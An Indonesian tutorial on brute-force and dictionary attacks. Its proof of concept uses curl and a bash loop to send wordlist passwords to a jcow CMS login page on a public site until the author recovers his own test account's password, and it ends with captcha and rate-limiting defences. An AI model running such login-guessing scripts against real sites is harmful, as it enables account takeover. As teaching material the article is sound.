Artikel ini membahas tentang brute force dan dictionary attack serta implementasinya untuk mendapatkan password akun yang terdaftar pada sebuah sistem CMS bernama jcow. Dilakukan dengan mengirimkan kata sandi dari daftar kata sandi (wordlist) secara berulang ke sistem melalui script shell sederhana untuk mengetahui kata sandi yang valid. Metode ini memperlihatkan bagaimana serangan terhadap sistem dapat dilakukan secara sederhana tanpa memperhat
Devsecops: membangun kemampuan soc di dalam devsecops pipeline - Dedi Dwianto
Bruteforce basic (paper) - linx
1. Author : Linggar Primahastoko
Site : http://linx.web.id
Mail : x@linx.web.id
Brute force, Dictionary attack, and The Implementation
======Pendahuluan=======
Di dalam dunia yang mengutamakan tentang keamanan ini, hampir semua akses-akses penting
memiliki 2 hal yang saling berkaitan dan tidak bisa lepas, yaitu otentikasi dan otorisasi. Tentang
bagaimana masuk ke dalam sebuah sistem dan bagaimana cara dari sistem untuk mengenali pihak-
pihak yang boleh masuk dan tidak boleh masuk. Kedua hal ini sekarang lebih ditekankan pada sebuah
penggunaan username dan password.
Pada artikel kali ini, akan dibahas tentang apa itu teknik brute force (yang berlanjut ke masalah
dictionary attack) dan bagaimana implementasinya pada sebuah sistem yang vulnerable akan hal itu.
Apa itu brute force?
Brute force adalah sebuah serangan terhadap sistem di mana penyerang mencoba memasuki sebuah
sistem dengan memasukkan semua kata kunci yang memungkinkan. Lebih tepatnya penyerang akan
memasukkan satu-satu sebuah kata kunci (password) dari berbagai kemungkinan untuk mendapatkan
suatu akses. Biasanya brute force dilakukan untuk memasuki sebuah sistem dan juga digunakan untuk
memecahkan suatu enkripsi satu arah (one way hash).
Tetapi brute force ini memiliki kelemahan, yaitu karena banyaknya kemungkinan yang digunakan,
waktu pemrosesan membutuhkan waktu yang sangat lama, yang bahkan estimasi waktunya bisa
berjangka tahunan. Maka dari itu kemungkinan itu diperkecil dengan adanya sebuah teknik bernama
“dictionary attack”. Intinya, pembatasan yang dilakukan pada dictionary attack adalah seorang
penyerang membatasi apa saja kata-kata yang akan digunakan sebagai sebuah kata kunci.
======PoC=======
Kali ini,akan saya berikan sebuah contoh bagaimana melakukan brute force dengan cara yang sangat
sederhana. Sistem yang akan dicoba adalah sebuah CMS bernama jcow. Saya akan mencoba
melakukan brute force dengan instruksi pada unix.
Pertama, kita mendaftar pada sebuah situs yang menggunakan jcow CMS (pada kasus ini saya
menggunakan contoh http://salingsapa.com). Saya membuat dengan username 'linxnyoba' dan dengan
password 'blognyalinx' (tanpa quote). Lalu akan kita coba untuk masuk dengan user account yang salah
untuk mendapatkan parameter yang akan dijadikan sebagai sebuah kunci.
2. Terlihat sebuah peringatan bahwa data yang digunakan untuk masuk adalah data yang salah.
Setelah itu kita melakukan sebuah instruksi post data dan pengolahan kata untuk mendapatkan kata
kunci wrong tadi.
sicuser@gate-linx:/data/linx/post$ curl -s -d "username=linxnyoba&password=tes"
http://salingsapa.com/member/loginpost | awk -F">" '/Wrong/ {n=$8; sub(" account or
password</div","",n); print n}'
Wrong
sicuser@gate-linx:/data/linx/post$
Sekarang kita mencoba apa yang akan terjadi ketika data yang dikirimkan bernilai true.
sicuser@gate-linx:/data/linx/post$ curl -s -d
"username=linxnyoba&password=blognyalinx" http://salingsapa.com/member/loginpost |
awk -F">" '/Wrong/ {n=$8; sub(" account or password</div","",n); print n}'
sicuser@gate-linx:/data/linx/post$
Tidak terjadi apa-apa ketika data yang dikirimkan bernilai true. Dari hal ini kita bisa mendapatkan
logika bahwa ketika instruksi di atas dikirimkan dengan data yang bernilai false, akan didapatkan kata
'Wrong', dan jika data yang dikirimkan bernilai true, tidak ada output yang muncul. Dari situ, kita bisa
membuat sebuah script sederhana (dalam kasus ini saya menggunakan shell scripting) untuk
mengimplementasikan sebuah dictionary attack pada sistem itu.
Kita buat sebuah wordlist dengan isi kata-kata yang yang akan kita coba masukkan. Lalu script
sederhana yang saya buat untuk implementasi dictionary attack sebagai berikut.
#!/bin/bash
for i in `cat wordlist.txt`
do
kunci=`curl -s -d "username=linxnyoba&password=$i"
http://salingsapa.com/member/loginpost | awk -F">" '/Wrong/ {n=$8; sub(" account or
password</div","",n); print n}'`
if [ "$kunci" = "Wrong" ];
then echo $i bukan password
else echo $i > password && exit;
fi
3. done
Setelah itu kita coba jalankan scriptnya
sicuser@gate-linx:/data/linx/post$ cat wordlist.txt
cobacobi
huahaha
blognyalinx
testing
testang
sicuser@gate-linx:/data/linx/post$ sh brute.sh
cobacobi bukan password
huahaha bukan password
sicuser@gate-linx:/data/linx/post$ ls
brute.sh password wordlist.txt
sicuser@gate-linx:/data/linx/post$ cat password
blognyalinx
Yak, kita dapatkan password dari user account yang telah kita buat tadi. Jadi untuk penjelasan
bagaimana script itu berjalan adalah, pertama kita buat perulangan proses login dengan menggunakan
password yang ada di dalam file wordlist.txt. Lalu kita buat sebuah penanda ketika data yang
dikirimkan itu salah, yaitu kata 'Wrong'. Setelah itu, untuk outputnya, ketika password yang
dimasukkan salah, akan ada output '$password bukan password', sedangkan ketika data yang
dimasukkan benar, akan muncul sebuah file password dengan isi password yang benar dan program
akan berhenti.
======Penutup=======
Pada kasus kali ini, sistem web yang vulnerable akan sebuah dictionary attack dan brute force,
kekurangan pada sistem adalah sistem captcha yang dapat memberikan perlindungan pada situs,
sehingga bot tidak dapat melakukan proses perulangan pada sebuah sistem. Selain itu pembatasan dapat
dilakukan dari sisi server, yaitu pada pembatasan jumlah request yang sama pada selang waktu yang
dekat, sehingga proses brute force relatif dapat dihindari.
Dari hal-hal di atas, dapat diambil sebuah kesimpulan, bahwa sebuah brute force dan dictionary attack
dapat dilakukan dengan cara yang sangat sederhana, tidak melihat software apa yang digunakan, karena
yang paling penting adalah tentang konsep dan logika yang digunakan.
======Reference=======
http://en.wikipedia.org/wiki/Brute-force_attack
http://en.wikipedia.org/wiki/Dictionary_attack
http://curl.haxx.se/docs/manpage.html